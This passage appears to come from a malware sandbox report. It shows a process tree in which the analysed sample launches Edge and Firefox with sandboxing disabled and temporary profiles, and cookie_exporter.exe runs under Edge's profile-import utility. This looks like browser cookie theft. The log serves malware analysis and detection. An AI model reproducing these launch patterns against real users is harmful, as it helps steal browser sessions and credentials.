        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\v4hc0kj5.bc4" --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --field-trial-handle=3404,i,1211955880854174557,2944581214666529935,262144 --variations-seed-version --mojo-platform-channel-handle=3600 /prefetch:1
        7⤵
        
        PID:4680
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\v4hc0kj5.bc4" --extension-process --renderer-sub-type=extension --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --always-read-main-dll --field-trial-handle=3432,i,1211955880854174557,2944581214666529935,262144 --variations-seed-version --mojo-platform-channel-handle=3624 /prefetch:9
        7⤵
        
        PID:4308
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\v4hc0kj5.bc4" --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --always-read-main-dll --field-trial-handle=3448,i,1211955880854174557,2944581214666529935,262144 --variations-seed-version --mojo-platform-channel-handle=3688 /prefetch:1
        7⤵
        
        PID:4716
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\v4hc0kj5.bc4" --extension-process --renderer-sub-type=extension --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --always-read-main-dll --field-trial-handle=3464,i,1211955880854174557,2944581214666529935,262144 --variations-seed-version --mojo-platform-channel-handle=3696 /prefetch:9
        7⤵
        
        PID:1436
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\v4hc0kj5.bc4" --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --always-read-main-dll --field-trial-handle=3500,i,1211955880854174557,2944581214666529935,262144 --variations-seed-version --mojo-platform-channel-handle=3736 /prefetch:1
        7⤵
        
        PID:4572
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\v4hc0kj5.bc4" --extension-process --renderer-sub-type=extension --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --always-read-main-dll --field-trial-handle=3584,i,1211955880854174557,2944581214666529935,262144 --variations-seed-version --mojo-platform-channel-handle=3752 /prefetch:9
        7⤵
        
        PID:4536
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\v4hc0kj5.bc4" --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --always-read-main-dll --field-trial-handle=3644,i,1211955880854174557,2944581214666529935,262144 --variations-seed-version --mojo-platform-channel-handle=3776 /prefetch:1
        7⤵
        
        PID:6024
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\v4hc0kj5.bc4" --extension-process --renderer-sub-type=extension --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --always-read-main-dll --field-trial-handle=3680,i,1211955880854174557,2944581214666529935,262144 --variations-seed-version --mojo-platform-channel-handle=3784 /prefetch:9
        7⤵
        
        PID:3780
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.ProfileImport --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\v4hc0kj5.bc4" --always-read-main-dll --field-trial-handle=4204,i,1211955880854174557,2944581214666529935,262144 --variations-seed-version --mojo-platform-channel-handle=3600 /prefetch:14
        7⤵
        
        PID:4408
        
        C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\cookie_exporter.exe
        
        cookie_exporter.exe --cookie-json=1128
        8⤵
        
        PID:4972
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.ProfileImport --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\v4hc0kj5.bc4" --always-read-main-dll --field-trial-handle=5252,i,1211955880854174557,2944581214666529935,262144 --variations-seed-version --mojo-platform-channel-handle=5276 /prefetch:14
        7⤵
        
        PID:2784
        
        C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\cookie_exporter.exe
        
        cookie_exporter.exe --cookie-json=596
        8⤵
        
        PID:2412
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\v4hc0kj5.bc4" --always-read-main-dll --field-trial-handle=5268,i,1211955880854174557,2944581214666529935,262144 --variations-seed-version --mojo-platform-channel-handle=5332 /prefetch:14
        7⤵
        
        PID:2840
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\v4hc0kj5.bc4" --always-read-main-dll --field-trial-handle=5376,i,1211955880854174557,2944581214666529935,262144 --variations-seed-version --mojo-platform-channel-handle=5388 /prefetch:14
        7⤵
        
        PID:2452
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-sandbox --mute-audio --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\v4hc0kj5.bc4" --always-read-main-dll --field-trial-handle=5408,i,1211955880854174557,2944581214666529935,262144 --variations-seed-version --mojo-platform-channel-handle=5400 /prefetch:14
        7⤵
        
        PID:3656
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --no-sandbox --mute-audio --onnx-enabled-for-ee --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\v4hc0kj5.bc4" --always-read-main-dll --field-trial-handle=5316,i,1211955880854174557,2944581214666529935,262144 --variations-seed-version --mojo-platform-channel-handle=5536 /prefetch:14
        7⤵
        
        PID:5200
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\vb2wc4qf.yr1"
        6⤵
        Drops file in Windows directory
        Enumerates system info in registry
        Modifies registry class
        Suspicious use of FindShellTrayWindow
        
        PID:1216
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\vb2wc4qf.yr1 /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\vb2wc4qf.yr1\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x23c,0x240,0x244,0x238,0x268,0x7ffd8edcf208,0x7ffd8edcf214,0x7ffd8edcf220
        7⤵
        
        PID:3112
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-sandbox --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\vb2wc4qf.yr1" --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --use-gl=angle --use-angle=swiftshader-webgl --always-read-main-dll --field-trial-handle=2300,i,11554215513377056029,4910344269183869309,262144 --variations-seed-version --mojo-platform-channel-handle=2296 /prefetch:2
        7⤵
        
        PID:3396
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\vb2wc4qf.yr1" --always-read-main-dll --field-trial-handle=1776,i,11554215513377056029,4910344269183869309,262144 --variations-seed-version --mojo-platform-channel-handle=2308 /prefetch:11
        7⤵
        
        PID:5352
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\vb2wc4qf.yr1" --always-read-main-dll --field-trial-handle=2304,i,11554215513377056029,4910344269183869309,262144 --variations-seed-version --mojo-platform-channel-handle=2468 /prefetch:13
        7⤵
        
        PID:2680
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\vb2wc4qf.yr1" --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=2976,i,11554215513377056029,4910344269183869309,262144 --variations-seed-version --mojo-platform-channel-handle=3016 /prefetch:1
        7⤵
        
        PID:5932
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\vb2wc4qf.yr1" --instant-process --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=2996,i,11554215513377056029,4910344269183869309,262144 --variations-seed-version --mojo-platform-channel-handle=3024 /prefetch:1
        7⤵
        
        PID:3144
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --message-loop-type-ui --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\vb2wc4qf.yr1" --always-read-main-dll --field-trial-handle=3412,i,11554215513377056029,4910344269183869309,262144 --variations-seed-version --mojo-platform-channel-handle=3592 /prefetch:14
        7⤵
        
        PID:5368
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --message-loop-type-ui --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\vb2wc4qf.yr1" --always-read-main-dll --field-trial-handle=3400,i,11554215513377056029,4910344269183869309,262144 --variations-seed-version --mojo-platform-channel-handle=3636 /prefetch:14
        7⤵
        
        PID:1860
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --message-loop-type-ui --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\vb2wc4qf.yr1" --always-read-main-dll --field-trial-handle=3420,i,11554215513377056029,4910344269183869309,262144 --variations-seed-version --mojo-platform-channel-handle=3676 /prefetch:14
        7⤵
        
        PID:1872
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\vb2wc4qf.yr1" --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --always-read-main-dll --field-trial-handle=3508,i,11554215513377056029,4910344269183869309,262144 --variations-seed-version --mojo-platform-channel-handle=3520 /prefetch:1
        7⤵
        
        PID:2068
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\vb2wc4qf.yr1" --extension-process --renderer-sub-type=extension --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --always-read-main-dll --field-trial-handle=3556,i,11554215513377056029,4910344269183869309,262144 --variations-seed-version --mojo-platform-channel-handle=3836 /prefetch:9
        7⤵
        
        PID:2244
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\vb2wc4qf.yr1" --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --field-trial-handle=3608,i,11554215513377056029,4910344269183869309,262144 --variations-seed-version --mojo-platform-channel-handle=3840 /prefetch:1
        7⤵
        
        PID:2520
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\vb2wc4qf.yr1" --extension-process --renderer-sub-type=extension --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --always-read-main-dll --field-trial-handle=3668,i,11554215513377056029,4910344269183869309,262144 --variations-seed-version --mojo-platform-channel-handle=3848 /prefetch:9
        7⤵
        
        PID:2712
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\vb2wc4qf.yr1" --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --always-read-main-dll --field-trial-handle=3700,i,11554215513377056029,4910344269183869309,262144 --variations-seed-version --mojo-platform-channel-handle=3860 /prefetch:1
        7⤵
        
        PID:5996
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\vb2wc4qf.yr1" --extension-process --renderer-sub-type=extension --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --always-read-main-dll --field-trial-handle=3680,i,11554215513377056029,4910344269183869309,262144 --variations-seed-version --mojo-platform-channel-handle=3872 /prefetch:9
        7⤵
        
        PID:5052
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\vb2wc4qf.yr1" --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --always-read-main-dll --field-trial-handle=3724,i,11554215513377056029,4910344269183869309,262144 --variations-seed-version --mojo-platform-channel-handle=3884 /prefetch:1
        7⤵
        
        PID:3308
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\vb2wc4qf.yr1" --extension-process --renderer-sub-type=extension --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --always-read-main-dll --field-trial-handle=3760,i,11554215513377056029,4910344269183869309,262144 --variations-seed-version --mojo-platform-channel-handle=3896 /prefetch:9
        7⤵
        
        PID:3156
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\vb2wc4qf.yr1" --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --always-read-main-dll --field-trial-handle=3924,i,11554215513377056029,4910344269183869309,262144 --variations-seed-version --mojo-platform-channel-handle=3936 /prefetch:1
        7⤵
        
        PID:2920
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\vb2wc4qf.yr1" --extension-process --renderer-sub-type=extension --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --always-read-main-dll --field-trial-handle=3584,i,11554215513377056029,4910344269183869309,262144 --variations-seed-version --mojo-platform-channel-handle=3948 /prefetch:9
        7⤵
        
        PID:6000
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.ProfileImport --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\vb2wc4qf.yr1" --always-read-main-dll --field-trial-handle=4688,i,11554215513377056029,4910344269183869309,262144 --variations-seed-version --mojo-platform-channel-handle=4824 /prefetch:14
        7⤵
        
        PID:5364
        
        C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\cookie_exporter.exe
        
        cookie_exporter.exe --cookie-json=1100
        8⤵
        
        PID:4464
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\vb2wc4qf.yr1" --always-read-main-dll --field-trial-handle=3656,i,11554215513377056029,4910344269183869309,262144 --variations-seed-version --mojo-platform-channel-handle=4844 /prefetch:14
        7⤵
        
        PID:1808
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.ProfileImport --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\vb2wc4qf.yr1" --always-read-main-dll --field-trial-handle=4520,i,11554215513377056029,4910344269183869309,262144 --variations-seed-version --mojo-platform-channel-handle=5072 /prefetch:14
        7⤵
        
        PID:4348
        
        C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\cookie_exporter.exe
        
        cookie_exporter.exe --cookie-json=596
        8⤵
        
        PID:3064
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\vb2wc4qf.yr1" --always-read-main-dll --field-trial-handle=3652,i,11554215513377056029,4910344269183869309,262144 --variations-seed-version --mojo-platform-channel-handle=4400 /prefetch:14
        7⤵
        
        PID:3640
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-sandbox --mute-audio --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\vb2wc4qf.yr1" --always-read-main-dll --field-trial-handle=5416,i,11554215513377056029,4910344269183869309,262144 --variations-seed-version --mojo-platform-channel-handle=3644 /prefetch:14
        7⤵
        
        PID:1796
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --no-sandbox --mute-audio --onnx-enabled-for-ee --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\vb2wc4qf.yr1" --always-read-main-dll --field-trial-handle=5424,i,11554215513377056029,4910344269183869309,262144 --variations-seed-version --mojo-platform-channel-handle=5476 /prefetch:14
        7⤵
        
        PID:4964
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\n5wncjwo.bgt"
        6⤵
        
        PID:5420
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir=C:\Users\Admin\AppData\Local\Temp\n5wncjwo.bgt
        7⤵
        Checks processor information in registry
        Suspicious use of FindShellTrayWindow
        Suspicious use of SetWindowsHookEx
        
        PID:5188
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 1960 -prefsLen 27097 -prefMapHandle 1964 -prefMapSize 270331 -ipcHandle 2052 -initialChannelId {32b60480-ad3f-4df1-9710-24d686b3ef8d} -parentPid 5188 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5188" -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 gpu
        8⤵
        
        PID:4928
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2192 -prefsLen 27133 -prefMapHandle 2180 -prefMapSize 270331 -ipcHandle 2308 -initialChannelId {95dc697a-8bb8-4beb-b6d2-ebed43f8c57b} -parentPid 5188 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5188" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 socket
        8⤵
        
        PID:3640
        
        C:\Program Files\Mozilla Firefox\crashreporter.exe
        
        "C:\Program Files\Mozilla Firefox\crashreporter.exe" --analyze "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\4d3952bb-a0bd-48ef-8c8d-e4000bb96154.dmp"
        8⤵
        
        PID:2156
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2240 -prefsLen 27133 -prefMapHandle 2804 -prefMapSize 270331 -ipcHandle 2812 -initialChannelId {b0b7dd09-588d-4505-9dab-b28dd06ddb66} -parentPid 5188 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5188" -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 gpu
        8⤵
        
        PID:5980
        
        C:\Program Files\Mozilla Firefox\crashreporter.exe
        
        "C:\Program Files\Mozilla Firefox\crashreporter.exe" --analyze "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\e21147c1-b90c-4a8a-945f-756de914e986.dmp"
        8⤵
        
        PID:4968
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2812 -prefsLen 27198 -prefMapHandle 3056 -prefMapSize 270331 -ipcHandle 2852 -initialChannelId {651961aa-1880-4d5f-b069-a958ccb75040} -parentPid 5188 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5188" -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 gpu
        8⤵
        
        PID:1860
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3832 -prefsLen 27323 -prefMapHandle 3836 -prefMapSize 270331 -jsInitHandle 3840 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3856 -initialChannelId {eea9c541-5791-46c1-9045-0268392b43c8} -parentPid 5188 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5188" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 tab
        8⤵
        Checks processor information in registry
        
        PID:3500
        
        C:\Program Files\Mozilla Firefox\crashreporter.exe
        
        "C:\Program Files\Mozilla Firefox\crashreporter.exe" --analyze "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\4071f162-7f1b-4b0d-ab8d-cd7b88b31665.dmp"
        8⤵
        
        PID:6036
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2852 -prefsLen 27323 -prefMapHandle 3784 -prefMapSize 270331 -ipcHandle 3392 -initialChannelId {d22bec11-8ec7-4015-a94a-dd51bd021ee5} -parentPid 5188 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5188" -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 gpu
        8⤵
        
        PID:4592
        
        C:\Program Files\Mozilla Firefox\crashreporter.exe
        
